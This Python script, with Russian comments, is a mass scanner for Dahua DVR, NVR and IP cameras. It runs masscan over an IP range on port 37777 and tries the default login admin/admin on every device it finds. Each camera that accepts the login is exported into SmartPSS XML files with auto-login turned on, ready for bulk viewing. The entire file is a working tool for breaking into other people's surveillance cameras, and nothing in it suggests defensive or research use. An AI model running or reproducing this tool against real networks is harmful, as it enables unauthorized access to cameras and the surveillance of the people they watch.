/
masscan_dahua.py
134 lines (123 loc) · 5.55 KB
/
masscan_dahua.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#masscan for Dahua DVR NVR IPC
import os,optparse,ctypes,platform,progressbar,time
login = 'admin'
password = 'admin'
def Os_type():
if platform.system() == "Windows":
return 'win'
else:
return 'nix'
def Auth(Server):
if Os_type() == 'win':
dll = ctypes.WinDLL("Dll/dhnetsdk.dll")
init = dll.CLIENT_Init(Server, 0)
dll.CLIENT_Login.restype = ctypes.c_longlong
loginH = dll.CLIENT_LoginEx(Server.encode("ascii"), 37777, login.encode("ascii"), password.encode("ascii"), None, None,0, 0)
if not loginH == 0:
print('[+] Host %s found'%Server)
dll.CLIENT_Logout(loginH)
dll.CLIENT_Cleanup()
return True
else:
return False
else:
dll = ctypes.CDLL("./Dll/libdhnetsdk.so")
init = dll.CLIENT_Init(Server, 0)
dll.CLIENT_Login.restype = ctypes.c_longlong
loginH = dll.CLIENT_Login(Server.encode("ascii"), 37777, login.encode("ascii"), password.encode("ascii"), None)
if not loginH == 0:
print(loginH)
return True
else:
return False
def parse_result():
#Парсим результат массскана оставляем только Ip адресса
file = open('res_scan.txt','r')
Ips = open('IPs.txt','w')
lenn = int(len(file.readlines()))
file.close()
file = open('res_scan.txt', 'r')
bar = progressbar.ProgressBar(maxval=lenn, widgets = ['Прогресс выполнения ',progressbar.Bar(left='[', marker='*', right=']'),progressbar.Percentage()
]).start()
i=1
for string in file.readlines():
line = string.split(' ')
bar.update(i)
i = i + 1
if not (string.startswith('#')):
if Auth(line[3]):
Ips.write(line[3]+'\n')
Ips.close()
file.close()
os.remove('res_scan.txt')
def save_xml():
#Сохраняем в XML для SmartPSS
file = open('IPs.txt', 'r')
xml = open('Ip_Smart_pss.xml', 'w')
start_file = '''<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<Organization groups="2" grade="1" modifiedTime="0">
<Department coding="001" encode="" id="0" name="root" type="0">
'''
end_file = '''
</Department>
</Organization>'''
k = 1001
x = len(file.readlines()) #Опрееляем количество строк
print('[+] Found ' + str(x) + ' hosts')
file.close()
file = open('IPs.txt', 'r')
count = 1
a = 1
if x<=256:#если файл меньше 256 строк
xml.write(start_file)
for string in file.readlines():
line = string.rstrip('\n')
temp = '<Device id="' + str(k) + '" title="' + line + '" desc="" ip="' + line + '" port="37777" manufacturer="" type="1" model="" user="' + login + '" password="' + password + '" p2pServerIp="" p2pServerPort="0" p2pServerKey="" p2pDevUuid="" p2pRemotePort="0" logintype="0" cardsn="" rights="" alertout="0" status="1" m_ChannelCount="" VideoOutCount="" AlarmInCount="0" AlarmOutCount="0" SerialNum="" subType="1" ProtocolType="0" RtspPort="0" AutoLogin="1">\n </Device>'
xml.write(temp)
k += 1
xml.write(end_file)
xml.close()
file.close()
print('[+] File save as Ip_Smart_pss.xml')
else:#Разбиваем на файлы по 256
xml.write(start_file)
for string in file.readlines():
line = string.rstrip('\n')
if a <=255:
temp = '<Device id="' + str(
k) + '" title="' + line + '" desc="" ip="' + line + '" port="37777" manufacturer="" type="1" model="" user="' + login + '" password="' + password + '" p2pServerIp="" p2pServerPort="0" p2pServerKey="" p2pDevUuid="" p2pRemotePort="0" logintype="0" cardsn="" rights="" alertout="0" status="1" m_ChannelCount="" VideoOutCount="" AlarmInCount="0" AlarmOutCount="0" SerialNum="" subType="1" ProtocolType="0" RtspPort="0" AutoLogin="1">\n </Device>'
xml.write(temp)
k += 1
a += 1
else:
xml.write(end_file)
xml.close()
xml = open('Ip_Smart_pss_'+str(count)+'.xml', 'w')
print('[+] File save as Ip_Smart_pss_'+str(count)+'.xml')
xml.write(start_file)
a = 1
count +=1
xml.write(end_file)
xml.close()
file.close()
os.remove('IPs.txt')
def masscan(filescan,threads):
#Запускаем mass scan с нужными параметрами
print('[*] Starting scan in masscan')
if Os_type() =='nix':
os.system('/usr/bin/masscan -p 37777 -iL %s -oL res_scan.txt --rate=%s' %(filescan,threads))
else:
os.system('C:/Users/nz/Desktop/masscan_GUI/masscan.exe -p 37777 -iL %s -oL res_scan.txt --rate=%s' % (filescan, threads))
def main():
parser = optparse.OptionParser('%prog' + " -f <Scan file> -t <threads>")
parser.add_option('-f', dest='file', type='string', help='Target list file Example; 192.168.1.1-192.168.11.1')
parser.add_option('-t', dest='threads',default="500", type='string', help='Threads number for masscan. Default 500')
(options, args) = parser.parse_args()
if (options.file==None):
print("[-] No taget file scan list\n")
parser.print_help()
exit(0)
masscan(options.file,options.threads)
parse_result()
save_xml()
main()